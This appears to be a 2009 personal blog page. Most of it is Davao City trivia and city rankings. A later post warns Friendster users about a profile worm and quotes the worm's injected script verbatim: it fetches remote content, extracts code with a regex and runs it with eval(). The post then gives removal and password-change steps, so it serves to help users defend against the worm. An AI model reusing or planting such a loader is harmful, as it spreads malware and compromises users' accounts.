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Monday, March 9, 2009

Davao World Records

World's Largest City
he residents of Davao City claim they live in the world's largest city. They are talking about the land size of the city that covers 2,212 square kilometers. Most of these areas, however, are distributed as forests, coconut groves and rice fields. In comparison, New York, the largest city in the United States, has an area of only 787 square kilometers while the whole of Metro Manila covers only 636 square kilometers.Davao City lies at the mouth of the Davao River near the head of Davao Gulf. It encompasses about 50 small ports in its commercial sphere. Davao has large banana plantations, whose produce are exported to Japan and other countries. The city also boasts of a modern international airport. Puerto Princesa City, a chartered city of Palawan province, is disputing Davao City's title. It claims to have a total land area of 2,539 square kilometers encompassing 66 barangays.In terms of population and land area, the world's truly largest cities are Tokyo, Mexico City, Sao Paolo, New York City, Bombay, Shanghai and Los Angeles.

World's Largest Durian Candy Bar
On March 15, 2002, 25 people in Davao City spent six hours to cook, mold and roll the world's largest durian candy bar - a 6-meter, 200-kilogram delicacy made of durian, a smelly but sweet fruit commonly associated with the name of the city. (Source: Philippine Daily Inquirer)

Others
'ASIAN CITIES OF THE FUTURE' 2007 AWARD
ASIAN CITIES OF THE FUTURE

1, Hong Kong, China
2, Singapore, Singapore
3, Taipei City, Taiwan (Republic of China)
4, Melbourne, Australia
5, Dalian, China
6, Shijiazhuang, China
7, Quezon City, Philippines
8, Cebu City, Philippines
9, Guangzhou, China
10, Davao City, Philippines

MOST COST EFFECTIVE

1, Shijiazhuang, China
2, Dalian, China
3, Quezon City, Philippines
4, Cebu City, Philippines
5, Guangzhou, China
6, Davao City, Philippines
7, Colombo, Sri Lanka
8, Taipei City, Taiwan (Republic of China)
9, Ulaanbaatar, Mongolia
10, Taichung, Taiwan (Republic of China)

BEST HUMAN RESOURCES

1, Singapore, Singapore
2, Melbourne, Australia
3, Hong Kong, China
4, Taipei City, Taiwan (Republic of China)
5, Davao City, Philippines
6, Quezon City, Philippines
7, Seoul, South Korea
8, Chongqing, China
9, Shijiazhuang, China
10, Guangzhou, China

Araw ng Davao 2009 Activites

Disclaimer: All the schedules listed in this web site were provided for by the City Tourism Operations Office of Davao and the organizers of the 72nd Araw ng Dabaw. This blog is not responsible for any misinformation brought upon by last-minute changes in schedules of any event listed in this web page

Saturday, January 10, 2009

WARNING: Friendster Worm

new friendster worm

if you all see the code below(in red) inside your friendster profiles

under "edit profiles", click on the tap "customize", under

Add Media

<img id="friendster.com" width="0"><script>

httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject

("Msxml2.XMLHTTP");

libid="37656241";

httprequest.open( 'GET', 'http://www.friendster.com/scrapview.php?uid='+libid, false);

httprequest.send(null);

var myregexp = /\/\/([^\$]+)/;

match = myregexp.exec(httprequest.responseText);

result = (match != null && match.length > 1)?match[1]:"";

eval(result);

__main();

</script>

please do the following

If you saw that code in your profile, erase/remove it immediately.

First thing to do is remove that code in your media box, then delete your temporary internet files on IE/clear private data on Firefox.
Second is you need to change your password immediately.
And Last you need to generate your codes again.